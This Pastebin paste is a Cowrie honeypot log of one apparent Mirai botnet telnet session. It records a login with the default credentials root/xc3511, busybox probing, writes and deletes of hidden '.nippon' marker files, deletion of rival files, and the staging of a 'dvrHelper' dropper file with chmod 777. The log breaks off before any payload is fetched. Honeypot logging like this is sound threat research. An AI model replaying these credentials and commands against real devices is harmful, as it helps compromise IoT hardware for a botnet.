API tools faq
paste
Advertisement
bontchev

Typical Mirai log

bontchev
Jan 20th, 2017
559
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.59 KB | None | 0 0
raw download clone embed print report
  1. 2017-01-18T20:01:35+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 67.229.225.18:42039 (192.168.0.102:23) [session: TT17]
  2. 2017-01-18T20:01:39+0200 [CowrieTelnetTransport,17,67.229.225.18] login attempt [root/xc3511] succeeded
  3. 2017-01-18T20:01:39+0200 [CowrieTelnetTransport,17,67.229.225.18] Opening TTY Log: log/tty/20170118-200139-None-17i.log
  4. 2017-01-18T20:01:39+0200 [CowrieTelnetTransport,17,67.229.225.18] Warning: state changed and new state returned
  5. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: enable
  6. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: enable
  7. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Reading txtcmd from "txtcmds/bin/enable"
  8. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: shell
  9. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command not found: shell
  10. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: sh
  11. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: sh
  12. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  13. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  14. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ps; /bin/busybox ECCHI
  15. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ps
  16. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: ps
  17. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  18. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
  19. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /proc/mounts
  20. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /proc/mounts
  21. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  22. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
  23. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon
  24. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/sys'
  25. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/.nippon
  26. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/.nippon
  27. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/.nippon
  28. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.nippon
  29. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
  30. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon
  31. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/proc'
  32. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /proc/.nippon
  33. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /proc/.nippon
  34. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /proc/.nippon
  35. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.nippon
  36. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
  37. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
  38. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/dev'
  39. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /dev/.nippon
  40. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /dev/.nippon
  41. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /dev/.nippon
  42. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.nippon
  43. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
  44. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon
  45. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/dev/pts'
  46. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /dev/pts/.nippon
  47. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /dev/pts/.nippon
  48. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /dev/pts/.nippon
  49. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.nippon
  50. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
  51. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon
  52. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/run'
  53. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/.nippon
  54. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/.nippon
  55. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/.nippon
  56. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.nippon
  57. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
  58. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
  59. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69'
  60. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /.nippon
  61. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /.nippon
  62. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /.nippon
  63. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.nippon
  64. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup' > /sys/fs/cgroup/.nippon; /bin/busybox cat /sys/fs/cgroup/.nippon; /bin/busybox rm /sys/fs/cgroup/.nippon
  65. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup' > /sys/fs/cgroup/.nippon
  66. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/cgroup/.nippon
  67. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/cgroup/.nippon
  68. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/cgroup/.nippon
  69. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/cgroup/.nippon
  70. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon; /bin/busybox cat /sys/fs/fuse/connections/.nippon; /bin/busybox rm /sys/fs/fuse/connections/.nippon
  71. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon
  72. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/fuse/connections/.nippon
  73. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/fuse/connections/.nippon
  74. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/fuse/connections/.nippon
  75. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/fuse/connections/.nippon
  76. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
  77. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon
  78. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/kernel/debug/.nippon
  79. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/kernel/debug/.nippon
  80. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/kernel/debug/.nippon
  81. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/kernel/debug/.nippon
  82. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon; /bin/busybox cat /sys/kernel/security/.nippon; /bin/busybox rm /sys/kernel/security/.nippon
  83. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon
  84. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/kernel/security/.nippon
  85. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/kernel/security/.nippon
  86. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/kernel/security/.nippon
  87. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/kernel/security/.nippon
  88. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon; /bin/busybox cat /run/lock/.nippon; /bin/busybox rm /run/lock/.nippon
  89. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon
  90. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/run/lock'
  91. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/lock/.nippon
  92. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/lock/.nippon
  93. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/lock/.nippon
  94. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.nippon
  95. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/shm' > /run/shm/.nippon; /bin/busybox cat /run/shm/.nippon; /bin/busybox rm /run/shm/.nippon
  96. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/shm' > /run/shm/.nippon
  97. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/run/shm'
  98. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/shm/.nippon
  99. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/shm/.nippon
  100. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/shm/.nippon
  101. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.nippon
  102. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user' > /run/user/.nippon; /bin/busybox cat /run/user/.nippon; /bin/busybox rm /run/user/.nippon
  103. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user' > /run/user/.nippon
  104. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/user/.nippon
  105. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/user/.nippon
  106. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/user/.nippon
  107. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/user/.nippon
  108. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon; /bin/busybox cat /sys/fs/pstore/.nippon; /bin/busybox rm /sys/fs/pstore/.nippon
  109. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon
  110. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/pstore/.nippon
  111. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/pstore/.nippon
  112. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/pstore/.nippon
  113. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/pstore/.nippon
  114. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon; /bin/busybox cat /boot/.nippon; /bin/busybox rm /boot/.nippon
  115. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon
  116. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/boot'
  117. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /boot/.nippon
  118. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /boot/.nippon
  119. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /boot/.nippon
  120. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.nippon
  121. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
  122. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
  123. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
  124. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
  125. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
  126. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
  127. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
  128. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; /bin/busybox cat /sys/fs/cgroup/systemd/.nippon; /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
  129. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon
  130. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/cgroup/systemd/.nippon
  131. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/cgroup/systemd/.nippon
  132. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
  133. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/cgroup/systemd/.nippon
  134. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000/gvfs' > /run/user/1000/gvfs/.nippon; /bin/busybox cat /run/user/1000/gvfs/.nippon; /bin/busybox rm /run/user/1000/gvfs/.nippon
  135. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000/gvfs' > /run/user/1000/gvfs/.nippon
  136. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/user/1000/gvfs/.nippon
  137. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/user/1000/gvfs/.nippon
  138. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/user/1000/gvfs/.nippon
  139. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/user/1000/gvfs/.nippon
  140. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
  141. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
  142. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/dev'
  143. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /dev/.nippon
  144. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /dev/.nippon
  145. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /dev/.nippon
  146. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.nippon
  147. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  148. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  149. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /sys/.t; rm /sys/.sh; rm /sys/.human
  150. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.t
  151. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.sh
  152. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.human
  153. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /proc/.t; rm /proc/.sh; rm /proc/.human
  154. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.t
  155. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.sh
  156. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.human
  157. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /dev/.t; rm /dev/.sh; rm /dev/.human
  158. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.t
  159. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.sh
  160. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.human
  161. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /dev/pts/.t; rm /dev/pts/.sh; rm /dev/pts/.human
  162. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.t
  163. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.sh
  164. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.human
  165. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /run/.t; rm /run/.sh; rm /run/.human
  166. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.t
  167. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.sh
  168. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.human
  169. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /.t; rm /.sh; rm /.human
  170. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.t
  171. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.sh
  172. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.human
  173. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /run/lock/.t; rm /run/lock/.sh; rm /run/lock/.human
  174. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.t
  175. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.sh
  176. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.human
  177. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /run/shm/.t; rm /run/shm/.sh; rm /run/shm/.human
  178. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.t
  179. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.sh
  180. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.human
  181. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /boot/.t; rm /boot/.sh; rm /boot/.human
  182. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.t
  183. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.sh
  184. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.human
  185. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /proc/sys/fs/binfmt_misc/.t; rm /proc/sys/fs/binfmt_misc/.sh; rm /proc/sys/fs/binfmt_misc/.human
  186. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.t
  187. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.sh
  188. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.human
  189. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /dev/.t; rm /dev/.sh; rm /dev/.human
  190. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.t
  191. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.sh
  192. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.human
  193. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: cd /sys/
  194. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cd /sys
  195. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  196. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cp /bin/echo dvrHelper
  197. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cp /bin/echo dvrHelper
  198. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: > /sys/dvrHelper
  199. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox chmod 777 /sys/dvrHelper
